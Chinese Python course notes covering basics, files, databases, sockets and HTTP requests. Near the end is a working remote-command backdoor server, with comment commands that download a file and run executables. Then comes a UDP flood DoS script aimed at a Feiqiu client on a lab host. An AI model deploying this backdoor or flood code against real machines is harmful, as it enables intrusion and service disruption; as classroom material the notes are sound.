赞
踩
Python特点
1.变量名区分大小写;
2.严禁使用关键字作为变量名;
3.确定自己的命名风格,不可随意变换;
4.命名应该科学严谨,切勿太长或者表达比较模糊;
5.命名中若使用特殊约定或缩写,则要有注释说明;
6.尽量不要使用中文字符和纯数学字符,避免编码错误;
7.名字由英文字母、数字、下划线组成,如abc,abc13和_abc等;
8.要清晰、明了,有明确含义,同时使用完整的单词或大家基本可以理解的缩写;
9.同一软件产品内,应规划好接口部分(变量、结构、函数及常量)的命名,防止编译、链接时产生冲突。
input
print(value…,sep=‘x’,end=‘x’)
python中多个变量值相同的时候,该值在内存中地址相同(a b c 在内存中的地址相同),当a的值改变时,a的地址变了,b,c的地址没有变
不可变对象修改值的本质:修改a的值其实并不是直接修改a对应内存空间的值(否则b c的值也会改变),而是把新值放入到新的内存中,a指向新开辟的内存
**python内存管理:**如果一个值没有任何变量指向,则Python自动将其删除,因此,一般Python程序员不需要太多考虑内存管理的问题(这就是Python与C语言最大的区别,自动内存回收机制!),但显式使用del命令删除不再使用的值,仍然是一个优秀程序员需要具备的基本素养!
算术运算符
运算符 | 描述 | 实例 |
---|---|---|
+ | 加 - 两个对象相加 | a + b 输出结果 30 |
- | 减 - 得到负数或是一个数减去另一个数 | a - b 输出结果 -10 |
* | 乘 - 两个数相乘或是返回一个被重复若干次的字符串 | a * b 输出结果 200 |
/ | 除 - x除以y | b / a 输出结果 2 |
% | 取模 - 返回除法的余数 | b % a 输出结果 0 |
** | 幂 - 返回x的y次幂 | a**b 为10的20次方, 输出结果 100000000000000000000 |
// | 取整除 - 返回商的整数部分(向下取整) | >>> 9//2 4 >>> -9//2 -5 |
比较运算符
运算符 | 描述 | 实例 |
---|---|---|
== | 等于 - 比较对象是否相等 | (a == b) 返回 False。 |
!= | 不等于 - 比较两个对象是否不相等 | (a != b) 返回 True。 |
<> | 不等于 - 比较两个对象是否不相等。python3 已废弃。 | (a <> b) 返回 True。这个运算符类似 != 。 |
> | 大于 - 返回x是否大于y | (a > b) 返回 False。 |
< | 小于 - 返回x是否小于y。所有比较运算符返回1表示真,返回0表示假。这分别与特殊的变量 True 和 False 等价。 | (a < b) 返回 True。 |
>= | 大于等于 - 返回x是否大于等于y。 | (a >= b) 返回 False。 |
<= | 小于等于 - 返回x是否小于等于y。 | (a <= b) 返回 True。 |
赋值运算符
运算符 | 描述 | 实例 |
---|---|---|
= | 简单的赋值运算符 | c = a + b 将 a + b 的运算结果赋值为 c |
+= | 加法赋值运算符 | c += a 等效于 c = c + a |
-= | 减法赋值运算符 | c -= a 等效于 c = c - a |
*= | 乘法赋值运算符 | c *= a 等效于 c = c * a |
/= | 除法赋值运算符 | c /= a 等效于 c = c / a |
%= | 取模赋值运算符 | c %= a 等效于 c = c % a |
**= | 幂赋值运算符 | c **= a 等效于 c = c ** a |
//= | 取整除赋值运算符 | c //= a 等效于 c = c // a |
位运算符
运算符 | 描述 | 实例 |
---|---|---|
& | 按位与运算符:参与运算的两个值,如果两个相应位都为1,则该位的结果为1,否则为0 | (a & b) 输出结果 12 ,二进制解释: 0000 1100 |
| | 按位或运算符:只要对应的二个二进位有一个为1时,结果位就为1。 | (a | b) 输出结果 61 ,二进制解释: 0011 1101 |
^ | 按位异或运算符:当两对应的二进位相异时,结果为1 | (a ^ b) 输出结果 49 ,二进制解释: 0011 0001 |
~ | 按位取反运算符:对数据的每个二进制位取反,即把1变为0,把0变为1 。~x 类似于 -x-1 | (~a ) 输出结果 -61 ,二进制解释: 1100 0011,在一个有符号二进制数的补码形式。 |
<< | 左移动运算符:运算数的各二进位全部左移若干位,由 << 右边的数字指定了移动的位数,高位丢弃,低位补0。相当于× | a << 2 输出结果 240 ,二进制解释: 1111 0000 |
>> | 右移动运算符:把">>"左边的运算数的各二进位全部右移若干位,>> 右边的数字指定了移动的位数 相当于÷ | a >> 2 输出结果 15 ,二进制解释: 0000 1111 |
逻辑运算符
运算符 | 逻辑表达式 | 描述 | 实例 |
---|---|---|---|
and | x and y | 布尔"与" - 如果 x 为 False,x and y 返回 False,否则它返回 y 的计算值。 | (a and b) 返回 20。 |
or | x or y | 布尔"或" - 如果 x 是非 0,它返回 x 的计算值,否则它返回 y 的计算值。 | (a or b) 返回 10。 |
not | not x | 布尔"非" - 如果 x 为 True,返回 False 。如果 x 为 False,它返回 True。 | not(a and b) 返回 False |
成员运算符
运算符 | 描述 | 实例 |
---|---|---|
in | 如果在指定的序列中找到值返回 True,否则返回 False。 | x 在 y 序列中 , 如果 x 在 y 序列中返回 True。 |
not in | 如果在指定的序列中没有找到值返回 True,否则返回 False。 | x 不在 y 序列中 , 如果 x 不在 y 序列中返回 True。 |
身份运算符
运算符 | 描述 | 实例 |
---|---|---|
is | is 是判断两个标识符是不是引用自一个对象 | x is y, 类似 id(x) == id(y) , 如果引用的是同一个对象则返回 True,否则返回 False运算符优先级 |
is not | is not 是判断两个标识符是不是引用自不同对象 | x is not y , 类似 id(a) != id(b)。如果引用的不是同一个对象则返回结果 True,否则返回 False。 |
运算符优先级
运算符 | 描述 |
---|---|
** | 指数 (最高优先级) |
~ + - | 按位翻转, 一元加号和减号 (最后两个的方法名为 +@ 和 -@) |
* / % // | 乘,除,取模和取整除 |
+ - | 加法减法 |
>> << | 右移,左移运算符 |
& | 位 ‘AND’ |
^ | | 位运算符 |
<= < > >= | 比较运算符 |
<> == != | 等于运算符 |
= %= /= //= -= += *= **= | 赋值运算符 |
is is not | 身份运算符 |
in not in | 成员运算符 |
not and or | 逻辑运算符 |
int(x ,base ) 将x转换为一个整数
long(x ,base ) 将x转换为一个长整数
float(x ) 将x转换到一个浮点数
complex(real ,imag ) 创建一个复数
str(x ) 将对象 x 转换为字符串
repr(x ) 将对象 x 转换为表达式字符串
eval(str ) 用来计算在字符串中的有效Python表达式,并返回一个对象
tuple(s ) 将序列 s 转换为一个元组
list(s ) 将序列 s 转换为一个列表
chr(x ) 将一个整数转换为一个字符
unichr(x ) 将一个整数转换为Unicode字符
ord(x ) 将一个字符转换为它的整数值
hex(x ) 将一个整数转换为一个十六进制字符串
oct(x ) 将一个整数转换为一个八进制字符串
数学函数和三角函数要导入math模块
函数 | 返回值 ( 描述 ) |
---|---|
abs(x) | 返回数字的绝对值,如abs(-10) 返回 10 |
ceil(x) | 返回数字的上入整数,如math.ceil(4.1) 返回 5 |
cmp(x, y) | 如果 x < y 返回 -1, 如果 x == y 返回 0, 如果 x > y 返回 1 |
exp(x) | 返回e的x次幂(ex),如math.exp(1) 返回2.718281828459045 |
fabs(x) | 返回数字的绝对值,如math.fabs(-10) 返回10.0 |
floor(x) | 返回数字的下舍整数,如math.floor(4.9)返回 4 |
log(x) | 如math.log(math.e)返回1.0,math.log(100,10)返回2.0 |
log10(x) | 返回以10为基数的x的对数,如math.log10(100)返回 2.0 |
max(x1, x2,…) | 返回给定参数的最大值,参数可以为序列。 |
min(x1, x2,…) | 返回给定参数的最小值,参数可以为序列。 |
modf(x) | 返回x的整数部分与小数部分,两部分的数值符号与x相同,整数部分以浮点型表示。 |
pow(x, y) | x**y 运算后的值。 |
round(x ,[n]) | 返回浮点数x的四舍五入值,如给出n值,则代表舍入到小数点后的位数。 |
sqrt(x) | 返回数字x的平方根 |
acos(x) | 返回x的反余弦弧度值。 |
---|---|
asin(x) | 返回x的反正弦弧度值。 |
atan(x) | 返回x的反正切弧度值。 |
atan2(y, x) | 返回给定的 X 及 Y 坐标值的反正切值。 |
cos(x) | 返回x的弧度的余弦值。 |
hypot(x, y) | 返回欧几里德范数 sqrt(xx + yy)。 |
sin(x) | 返回的x弧度的正弦值。 |
tan(x) | 返回x弧度的正切值。 |
degrees(x) | 将弧度转换为角度,如degrees(math.pi/2) , 返回90.0 |
radians(x) | 将角度转换为弧度 |
随机数可以用于数学,游戏,安全等领域中,还经常被嵌入到算法中,用以提高算法效率,并提高程序的安全性
函数 | 描述 |
---|---|
choice(seq) | 从序列的元素中随机挑选一个元素,比如random.choice(range(10)),从0到9中随机挑选一个整数 |
randrange ([start],stop ,[step]) | 从指定范围内[start,stop),按指定基数递增的集合中获取一个随机数,基数默认值为 1 |
random() | 随机生成一个实数,它在[0,1)范围内 |
seed(x) | 改变随机数生成器的种子seed。Python会帮你选择seed。 |
shuffle(lst) | 将序列的所有元素随机排序 |
uniform(x, y) | 随机生成一个实数,它在[x,y]范围内 |
randint(x,y) | 随机生成一个整数,它在[x,y]范围内。 |
转义字符 | 描述 |
---|---|
\(在行尾时) | 续行符 |
\\ | 反斜杠符号 |
\’ | 单引号 |
\" | 双引号 |
\a | 响铃 |
\b | 退格(Backspace) |
\e | 转义 |
\000 | 空 |
\n | 换行 |
\v | 纵向制表符 |
\t | 横向制表符 |
\r | 回车 |
\f | 换页 |
\oyy | 八进制数,y 代表 0~7 的字符,例如:\012 代表换行。 |
\xyy | 十六进制数,以 \x 开头,yy代表的字符,例如:\x0a代表换行 |
\other | 其它的字符以普通格式输出 |
下表实例变量 a 值为字符串 “Hello”,b 变量值为 “Python”:
操作符 | 描述 | 实例 |
---|---|---|
+ | 字符串连接 | >>>a + b ‘HelloPython’ |
* | 重复输出字符串 | >>>a * 2 ‘HelloHello’ |
[] | 通过索引获取字符串中字符 | >>>a[1] ‘e’ |
[ : ] | 截取字符串中的一部分 | >>>a[1:4] ‘ell’ |
in | 成员运算符 - 如果字符串中包含给定的字符返回 True | >>>“H” in a True |
not in | 成员运算符 - 如果字符串中不包含给定的字符返回 True | >>>“M” not in a True |
r/R | 原始字符串 - 原始字符串:所有的字符串都是直接按照字面的意思来使用,没有转义特殊或不能打印的字符。 原始字符串除在字符串的第一个引号前加上字母"r"(可以大小写)以外,与普通字符串有着几乎完全相同的语法。 | >>>print r’\n’ \n >>> print R’\n’ \n |
a = "Hello" b = "Python" print "a + b 输出结果:", a + b print "a * 2 输出结果:", a * 2 print "a[1] 输出结果:", a[1] print "a[1:4] 输出结果:", a[1:4] if( "H" in a) : print "H 在变量 a 中" else : print "H 不在变量 a 中" if( "M" not in a) : print "M 不在变量 a 中" else : print "M 在变量 a 中" print r'\n' print R'\n' # 运算结果 a + b 输出结果: HelloPython a * 2 输出结果: HelloHello a[1] 输出结果: e a[1:4] 输出结果: ell H 在变量 a 中 M 不在变量 a 中 \n \n
占位符
'''
语法:%[-w.p]type
-,表示左对齐 默认右对齐
w,宽度
p,精度
type,表示数据类型(d-整数 f-浮点数 s-字符串)
'''
weight=50.598
print("%.2f"%weight)
format
'''
语法:'{[:w.pf]}'.format(value)
'''
weight=50.598
print("{[.2f]}".format(weight))
f-string
'''
语法:f'{[var:w.pf[]}'
'''
weight=50.598
print(f"{weight:.2f}")
s = "hellopython!"
'''
切片: string[start:stop:step] 开始:结束:步长
h e l l o
索引: 0 1 2 3 4
逆 -1 -2 -3 -4 -5
'''
print(s[1:]) # 索引为1到结尾
print(s[:5]) # 开头到索引为4
print(s[::-1]) # 第三个参数是步长,从0+-1 -> 0+-1+-1这个意思是反转字符串
print(s[-1]) # 最后一个
print(s[::-3]) # -1 -4 -7
upper:所有字母转化为大写,不修改源字符串
lower:所有字母转化为小写,不修改源字符串
title:每个单词首字母转化为大写,不修改源字符串
string.count(str,beg=0,end=len(string)):返回 str 在 string 里面出现的次数,如果 beg 或者 end 指定则返回指定范围内 str 出现的次数
string.startswith(obj, beg=0,end=len(string)):检查字符串是否是以 obj 开头,是则返回 True,否则返回 False。如果beg 和 end 指定值,则在指定范围内检查
string.endswith(obj, beg=0, end=len(string)):检查字符串是否以 obj 结束,如果beg 或者 end 指定则检查指定的范围内是否以 obj 结束,如果是,返回 True,否则返回 False
string.replace(str1, str2, num=string.count(str1)):把 string 中的 str1 替换成 str2,如果 num 指定,则替换不超过 num 次.
string.find(str, beg=0, end=len(string)):检测 str 是否包含在 string 中,如果 beg 和 end 指定范围,则检查是否包含在指定范围内,返回开始的索引值,找不到返回-1
string.index(str, beg=0, end=len(string)):跟find()方法一样,找不到抛出异常
string.format():格式化字符串
string.join(seq):以 string 作为分隔符,将 seq 中所有的元素(的字符串表示)合并为一个新的字符串
string.split(str=“”,num=string.count(str)):以 str 为分隔符切片 string,如果 num 有指定值,则仅分隔 num+1 个子字符串
string.strip([obj]):在 string 上执行 lstrip()和 rstrip():截掉 string 左右两边的空格
string.translate(str, del=“”):根据 str 给出的表(包含 256 个字符)转换 string 的字符,要过滤掉的字符放到 del 参数中
方法 | 描述 |
---|---|
string.capitalize() | 把字符串的第一个字符大写 |
string.center(width) | 返回一个原字符串居中,并使用空格填充至长度 width 的新字符串 |
string.decode(encoding=‘UTF-8’, errors=‘strict’) | 以 encoding 指定的编码格式解码 string,如果出错默认报一个 ValueError 的 异 常 , 除非 errors 指 定 的 是 ‘ignore’ 或 者’replace’ |
string.encode(encoding=‘UTF-8’, errors=‘strict’) | 以 encoding 指定的编码格式编码 string,如果出错默认报一个ValueError 的异常,除非 errors 指定的是’ignore’或者’replace’ |
string.expandtabs(tabsize=8) | 把字符串 string 中的 tab 符号转为空格,tab 符号默认的空格数是 8。 |
string.isalnum() | 如果 string 至少有一个字符并且所有字符都是字母或数字则返回 True,否则返回 False |
string.isalpha() | 如果 string 至少有一个字符并且所有字符都是字母则返回 True,否则返回 False |
string.isdecimal() | 如果 string 只包含十进制数字则返回 True 否则返回 False. |
string.isdigit() | 如果 string 只包含数字则返回 True 否则返回 False. |
string.islower() | 如果 string 中包含至少一个区分大小写的字符,并且所有这些(区分大小写的)字符都是小写,则返回 True,否则返回 False |
string.isnumeric() | 如果 string 中只包含数字字符,则返回 True,否则返回 False |
string.isspace() | 如果 string 中只包含空格,则返回 True,否则返回 False. |
string.istitle() | 如果 string 是标题化的(见 title())则返回 True,否则返回 False |
string.isupper() | 如果 string 中包含至少一个区分大小写的字符,并且所有这些(区分大小写的)字符都是大写,则返回 True,否则返回 False |
string.ljust(width) | 返回一个原字符串左对齐,并使用空格填充至长度 width 的新字符串 |
string.lower() | 转换 string 中所有大写字符为小写. |
string.lstrip() | 截掉 string 左边的空格 |
string.maketrans(intab, outtab) | maketrans() 方法用于创建字符映射的转换表,对于接受两个参数的最简单的调用方式,第一个参数是字符串,表示需要转换的字符,第二个参数也是字符串表示转换的目标。 |
max(str) | 返回字符串 str 中最大的字母。 |
min(str) | 返回字符串 str 中最小的字母。 |
string.rfind(str, beg=0,end=len(string) ) | 类似于 find() 函数,返回字符串最后一次出现的位置,如果没有匹配项则返回 -1。 |
string.rindex( str, beg=0,end=len(string)) | 类似于 index(),不过是返回最后一个匹配到的子字符串的索引号。 |
string.rjust(width) | 返回一个原字符串右对齐,并使用空格填充至长度 width 的新字符串 |
string.rpartition(str) | 类似于 partition()函数,不过是从右边开始查找 |
string.rstrip() | 删除 string 字符串末尾的空格. |
string.splitlines([keepends]) | 按照行(‘\r’, ‘\r\n’, ‘\n’)分隔,返回一个包含各行作为元素的列表,如果参数 keepends 为 False,不包含换行符,如果为 True,则保留换行符。 |
string.swapcase() | 翻转 string 中的大小写 |
string.zfill(width) | 返回长度为 width 的字符串,原字符串 string 右对齐,前面填充0 |
names=['duyun','sss','ying','xyz','xrk']
print(names[::-1]) # 切片和字符串一样
# 下标遍历 range(start,stop,step) 开始 结束 步长 [start,stop)
for i in range(len(names)):
print(names[i])
# for...in... 取每一个元素 else循环执行完执行
for item in names:
print(item)
else:
print("循环完毕")
列表对 + 和 * 的操作符与字符串相似。+ 号用于组合列表,* 号用于重复列表。
Python 表达式 | 结果 | 描述 |
---|---|---|
len([1, 2, 3]) | 3 | 长度 |
[1, 2, 3] + [4, 5, 6] | [1, 2, 3, 4, 5, 6] | 组合 |
[‘Hi!’] * 4 | [‘Hi!’, ‘Hi!’, ‘Hi!’, ‘Hi!’] | 重复 |
3 in [1, 2, 3] | True | 元素是否存在于列表中 |
和字符串相同
序号 | 函数 |
---|---|
1 | cmp(list1, list2) 比较两个列表的元素,list1大返回1,相等返回0,否则返回-1 |
2 | len(list) 列表元素个数 |
3 | max(list) 返回列表元素最大值 |
4 | min(list) 返回列表元素最小值 |
5 | list(seq) 将元组转换为列表 |
序号 | 方法 |
---|---|
1 | list.append(obj) 在列表末尾添加新的对象 |
2 | list.count(obj) 统计某个元素在列表中出现的次数 |
3 | list.extend(seq) 在列表末尾一次性追加另一个序列中的多个值(用新列表扩展原来的列表) |
4 | list.index(obj) 从列表中找出某个值第一个匹配项的索引位置 |
5 | list.insert(index, obj) 将对象插入列表 |
6 | list.pop([index=-1]) 根据索引移除列表的一个元素(默认最后一个元素),并且返回该元素的值 |
7 | list.remove(obj) 移除列表中某个值的第一个匹配项 |
8 | list.reverse() 反向列表中元素 |
9 | list.sort(cmp=None, key=None, reverse=False) 对原列表进行排序 |
和列表操作差不多,但是不可修改里面的元素,可以直接修改整个元组
tup = (111) #这样不是定义的元组 如果只有一个值要这样:
tup=(111,)
序号 | 函数及描述 |
---|---|
1 | cmp(dict1, dict2) 比较两个字典元素。 |
2 | len(dict) 计算字典元素个数,即键的总数。 |
3 | str(dict) 输出字典可打印的字符串表示。 |
4 | type(variable) 返回输入的变量类型,如果变量是字典就返回字典类型。 |
序号 | 函数及描述 |
---|---|
1 | dict.clear() 删除字典内所有元素 |
2 | dict.copy() 返回一个字典的浅复制 |
3 | dict.fromkeys(seq[, val])创建一个新字典,以序列 seq 中元素做字典的键,val 为字典所有键对应的初始值 |
4 | dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值 |
5 | dict.has_key(key) 如果键在字典dict里返回true,否则返回false |
6 | dict.items() 以列表返回可遍历的(键, 值) 元组数组 |
7 | dict.keys() 以列表返回一个字典所有的键 |
8 | dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default |
9 | dict.update(dict2) 把字典dict2的键/值对更新到dict里 |
10 | dict.values() 以列表返回字典中的所有值 |
11 | [pop(key,default]) 删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。 |
12 | popitem() 返回并删除字典中的最后一对键和值。 |
student = {"name": "张三", "age": 18, "sex": "男"} # 查看 print(student['name']) print(student.get("name")) # 修改 student.update({"name":"李四","age":20}) student["name"] = "王五" #也是可以新增 # 删除 student.pop('name') for key in student: print(key) # 等于 for key in student for key in student.keys(): print(key) for value in student.values(): print(value) # student.items() 是返回的一个元组 k,v = (value1,value2) 这个就可以对应赋值 for k,v in student.items(): print(k,"--",v) a,b,c=11,22,33 # 赋值 一般都是用元组 y 列表也可以 a,b,c=(11,22,33)
构成
# 直接将函数名进行赋值或者输出
def printHello():
print("Hello")
x = printHello
print(x) # 打印函数的内存地址
x()
# 函数名作为参数
def printHellos(p):
p()
print('printHellos')
printHellos(printHello)
函数参数分为可变类型和不可变类型,其调用结果是不同的。
(1)可变类型:类似c++的引用传递,如列表、字典等。如果传递的参数是可变类型,则在函数内部对传入参数的修改会影响到外部变量。
(2)不可变类型:类似c++的值传递,如整数、字符串、元组等。如果传递的参数是不可变类型,则在函数内部对传入参数的修改不会影响到外部变量
不可变类型
def change_int(num): # 不可变类型传递的是 值 相当于复制一份 num 和 a 的id不同(地址不同)
num = 12
a = 5
change_int(a)
print(a) # 5
可变类型
def change_int(my_list): # 传入的本身 引用 值的话要传递 my_list.copy()
"修改传入的列表"
my_list.append([1, 2, 3])
print("函数内修改后的变量:", my_list)
my_list = [10, 20, 30]
change_int(my_list)
print("函数外变量的值:", my_list)
def describe_student(person_name, student_age='18'):
"函数功能:显示学生的信息"
print("my name is ", person_name)
print(person_name + "is" + student_age + "years old")
describe_student('Jack')
describe_student('Jack', '18')
设置默认参数时,必选参数在前
,默认参数在后
,否则Python语言的解释器会报错
默认参数必须指向不可变对象
使用**。 *参数 ** 元组
def calc(*numbers):
sum = 0
for n in numbers:
sum = sum + n
return sum
print(calc(1, 2, 3, 4))
print(calc())
num = [1, 2, 3]
print(calc(*num))# *num 告知python是不定长参数
**注意点是 **key ** 存放字典
关键字实参是传递参数时使用“名称–值”对的方式,在实参中将名称和值关联起来
关键字实参让开发者无需考虑函数调用中的实参顺序,清楚地指出了函数调用中各个值的用途。
关键字参数有扩展函数的功能
def test(a,b=10,*c,**d):
print(a,b)
print(c)
print(d)
test(1,2,3,4,5,6,a=1,bb=2)
# 报错,字典参数不能包含位置参数和默认值参数
test(1,2,3,4,5,6,aa=1,bb=2)
注意点要加上*号
如果要限制关键字参数的名字,可以用命名关键字参数。如果没有可变参数,命名关键字参数就必须加一个**“”**号作为特殊分隔符。如果缺少“”,Python语言解释器将无法识别位置参数和命名关键字参数。例如,若只接收age和city作为关键字参数,可以采用如下形式。
def enroll(name, gender, *, age, city):
print(name, gender, age, city)
enroll('Jack', 'M', age='18', city='Beijing')
注意参数定义是有顺序的。定义的顺序
必须是:必选参数、默认参数、可变参数、命名关键字参数和关键字参数
def func(a, b, c=0, *args, **kw): print('a=', a, 'b=', b, 'c=', c, 'args=', args, 'kw=', kw) print(func(1, 2)) # 输出结果:a= 1 b= 2 c= 0 args= () kw= {} print(func(1, 2, c=3)) # 输出结果:a= 1 b= 2 c= 3 args= () kw= {} print(func(1, 2, 3, 'a', 'b')) # 输出结果:a= 1 b= 2 c= 3 args= ('a', 'b') kw= {} print(func(1, 2, 3, 'a', 'b', x=4)) # 输出结果:a= 1 b= 2 c= 3 args= ('a', 'b') kw= {'x': 4} args = (1, 2, 3, 4) kw = {'x': 5} print(func(*args, **kw)) # *args 告知python是不定长参数 **kw 告知python是不定长的关键字参数 # 即使传入的是 *args 不定长参数 但是依然先匹配必选参数和默认参数 # 输出结果:a= 1 b= 2 c= 3 args= (4,) kw= {'x': 5}
任何以.py结尾的Python文件都是模块(package),模块的名字就是文件名(不加.py),不过有时候模块的名字也可以通过模块的__name__重新指定
包是多个模块的组合。如果一个文件夹下包括多个.py文件和一个__init__.py文件(对于python2需要__init__.py),那么这个文件夹就算是一个包。init.py文件就是专门用来帮助解释器区分所在文件夹到底是普通文件夹还是python包的
import xxx
from xxx import xxx
# 在测试和执行模块函数时:
if __name__ == '__main__':
xxx
# 文件读取 f = open("./duyun.txt", mode='r') # content=f.read(20) # 指定读取文件的内容长度 不加参数读取文件的全部内容 # content = f.readline() # 按行读取文件内容 默认读取第一行 content = f.readlines() # 按行读取全部文件内容并且按行保存到列表 f.close() # 文件写入 f = open("./duyun.txt", mode='a') f.write("都匀") f.close() # 以GBK编码写入 f = open("./duyun.txt", mode='a', encoding="GBK") f.write("都大撒大撒匀") f.close() # CSV文件读写 逗号分隔符文件,用于表示二维表的数据结构,针对CSV python有内置的库 import csv f = open("./users.csv") user_list = [] line_list = f.readlines() for i in range(1, len(line_list)): line = line_list[i].strip() username, password, phone = line.split(",")[0], line.split(",")[1], line.split(",")[2] user_dict = {'username': username, 'password': password, 'phone': phone} user_list.append(user_dict) print(user_list) # 引入其他的库 自己操作性少 import csv with open("./users.csv") as f: # 读取遍历每一行 csv_line = csv.reader(f) for item in csv_line: print(item) # 读取结果强制转为列表或者字典 csv_line = csv.reader(f) print(list(csv_line)) # 读取结果强制转为字典 csv_dict = csv.DictReader(f) for i in csv_dict: print(dict(i)) f.tell() # 文件当前读取到的位置 f.seek() # 设置文件指针读取的位置
建立与数据库连接
执行sql语句
关闭数据库连接
python操作数据库是python发送能够与数据库直接通信的数据包,并获取数据库服务器的响应结果。是一种典型的基于TCP/IP的通信过程,要求必须满足数据库服务器的数据包规则
import pymysql # 建立连接 conn = pymysql.connect(host="localhost",user="root",password="duyun",database="learn",charset="utf8") # 操作数据库 要先定义一个游标对象 cursor = conn.cursor() # 查询操作 sql1="select * from users" cursor.execute(sql1) sql2 = "update users set password = 'ying' where id = 2" cursor.execute(sql2) conn.commit() # 更新操作:必须要确认提交 两种方式: # 建立连接的时候设置 autocommit = true # 显示提交 conn.commit() # 获取结果集(元组) fentchall:全部 fentchone:一个 fentchmay: result=cursor.fetchall() print(result) # 关闭连接 conn.close() # 结果 ((1, '杜赟', 'duyun'), (2, 'duy', 'un')) # 将游标对象定义为 字典 类型,以列表+字典的格式获取结果集 import pymysql from pymysql.cursors import DictCursor conn=pymysql.connect(host="localhost",user="root",password='duyun',database="learn") cursor=conn.cursor(DictCursor) sql = "select * from users" cursor.execute(sql) result = cursor.fetchall() print(result) # [{'id': 1, 'username': '杜赟', 'password': 'duyun'}, {'id': 2, 'username': 'duy', 'password': 'un'}]
"""
try内部的代码出错会执行except的内容,最终都会执行finally的内容
except 后面可以跟具体的错误类型,针对具体的错误类型
"""
try:
xxx
except:
xxx
finally:
xxx
import json
json.dumps() # 序列化 转化为字符串
json.loads() # 反序列化 json字符串反序列化为python的对象
json.dump # 存入文件
json.load
socket 针对 TCP/IP协议簇 进行的程序封装,在Windows/Linux均有这样底层模块
import socket # 客户端连接 def test_client(): # 建立与服务器的连接 s = socket.socket() # 类实例的方法,默认使用TCP协议 s.connect(('127.0.0.1', 21)) # 元组传参 服务器IP和port # 传输数据(收发数据包) content = "hello duyun 颖" s.send(content.encode()) # 转化为字节类型 # 关闭连接 s.close() test_client() # 定义服务器端 def server_client(): s = socket.socket() s.bind(('192.168.10.25', 555)) # 绑定服务器IP地址和端口号 s.listen() # 保持对端口的监听 while True: chanel, client = s.accept() # 接受来自客户端的数据包,返回元组 message = chanel.recv(1024) # 接受消息(字节类型) print(message.decode()) server_client() # 简易的有回复的server和client # server.py import socket s = socket.socket() # 默认TCP # s.bind(('127.0.0.1',5555)) # 只允许本设备(绑定的IP)访问 s.bind(('0.0.0.0', 5555)) # 允许所有的设备访问 s.listen() # 对5555端口进行监听 chanel, client = s.accept() # 只能与一个客户端连接,无法接受多个客户端 while True: # 使用一次后 此时accept()会进入阻塞状态,客户端只能收到一次服务器的响应, # 一个客户端多次发送消息,但二次或多次执行accept()是等待下一个客户端的连接所以造成了阻塞 # 多线程解决或者循环之外解决 # chanel, client = s.accept() receive = chanel.recv(1024).decode() # 接受的消息 print(f"收到消息:{receive}") reply = receive.replace('吗?', '!') # 回复的消息 chanel.send(reply.encode()) # client.py import socket s = socket.socket() s.connect(('127.0.0.1', 5555)) while True: message = input('请输入消息:') s.send(message.encode()) receive = s.recv(1024).decode() print(f"服务器回复:{receive}")
损人利己
# server # 远程木马核心思路:客户端发送一个特殊字符串,里面包含要执行的命令 def attack_talk(): try: s = socket.socket() s.bind(('0.0.0.0', 7777)) s.listen() chanel, client = s.accept() while True: receive = chanel.recv(10240).decode() if receive.startswith("==#==,"): command = receive.split(",")[-1] reply = os.popen(command).read() chanel.send(reply.encode()) else: print(f"收到的消息:{receive}") reply = receive.replace("吗?", "!") chanel.send(reply.encode()) except: s.close() attack_talk() # client import socket s = socket.socket() # 192.168.142.130 s.connect(('127.0.0.1', 7777)) # s.connect(('192.168.142.130', 7777)) # 连接虚拟机 while True: message = input('请输入消息:') s.send(message.encode()) receive = s.recv(10240).decode() print(f"服务器回复:{receive}") """ 下载文件(恶意程序)并执行 ==#==,curl https://woniufile.oss-cn-hangzhou.aliyuncs.com/banner/class_time_home.png > d:\home.png ==#==,d:\xxx.exe ==#==,echo msgbox("输出的内容") >> d:\hi.vbs ==#==,d:\hi.vbs """
损人不利己
实验利用的是 飞秋
首先要弄清飞秋的五元组:协议规则
飞秋的协议本身是有些复杂,但是兼容于“飞鸽传书”协议,协议规则(基于UDP)
版本号:包编号:发送者姓名:发送者主机名:命令字:附加信息
import socket, time # 模拟高频发送数据包的DOS攻击:流量泛洪 for i in range(100): # 每次循环要从重新与飞秋建立连接,可以相当于模拟很多客户端 # SOCK_DGRAM UDP的连接 SOCK_STREAM TCP的连接 默认 s = socket.socket(type=socket.SOCK_DGRAM) s.connect(("192.168.142.131", 2425)) # ”飞鸽传书“协议的规则 packetId = str(time.time()) name = 'duyun' host = 'myHost' command = str(0x00000020) content = 'hello!everybody' message = f"1.0:{packetId}:{name}:{host}:{command}:{content}" s.send(message.encode())
回顾HTTP
请求类型
响应类型
1xx 信息
2xx 正常
3xx 重定向
4xx 客户端错误
5xx 服务端错误
session和cookie
http是无状态的
http协议是单次通信
HTTP协议簇:HTTP / HTTPS / WebSocket(基于http协议的全双工通信) / HLS(音频、视频) / SOAP(Web service)
HTTP协议属于应用层的文本型协议
HTTP协议可以上传和下载任意类型文件(传输二进制文件)
HTTP协议在互联网上占比90%以上:协议相对简单容易实现 有标准的
import requests # 发送GET请求 resp = requests.get('http://www.baidu.com') print(resp.text) print(resp.headers) # 发送POST请求 resp = requests.post('http://192.168.142.132:8080/woniusales/',data={"username":"admin","password":"admin123"}) print(resp.text) # 下载图片 resp = requests.get('http://www.bossqiang.com/img/banner-2.jpg') with open("./banner.jpg", mode='wb') as f: f.write(resp.content) # 文件上传 file = {"batchfile":open('./banner.jpg',mode='rb')} data = {"batchname":"GB20220824"} resp = requests.post(url='http://192.168.142.132:8080/woniusales/goods/upload',data=data,files=file) print(resp.text) # 失败,因为要先登录,登录之后获取cookie在post在发送cookie # 推荐使用:session session=requests.session() data = {"username":"admin","password":"admin123","verifycode":'0000'} resp = session.post("http://192.168.142.132:8080/woniusales/user/login",data=data) file = {"batchfile":open('./x.xls',mode='rb')} data = {"batchname":"GB20220824"} resp = session.post(url='http://192.168.142.132:8080/woniusales/goods/upload',data=data,files=file) print(resp.text) # 发送HTTPS resp=requests.get('http://www.woniuxy.com',verify=False) #忽略证书 print(resp.text)
搜索引擎:百度 谷歌 企业内部的知识库 某些项目专项数据爬取 专业的数据爬取
互联网:
公网(不需要授权的情况就可以流量的内容,搜索引擎的重点)
深网(需要授权才能使用的内容)
暗网(非正式渠道 无法使用常规手段访问)
爬取公网上的公开信息,但是正常情况下,要遵循一个规则:robots协议 君子协议
所有的网页均是HTML,HTML首先是一个大的字符串,可以按照字符串处理的方式对响应进行解析处理。
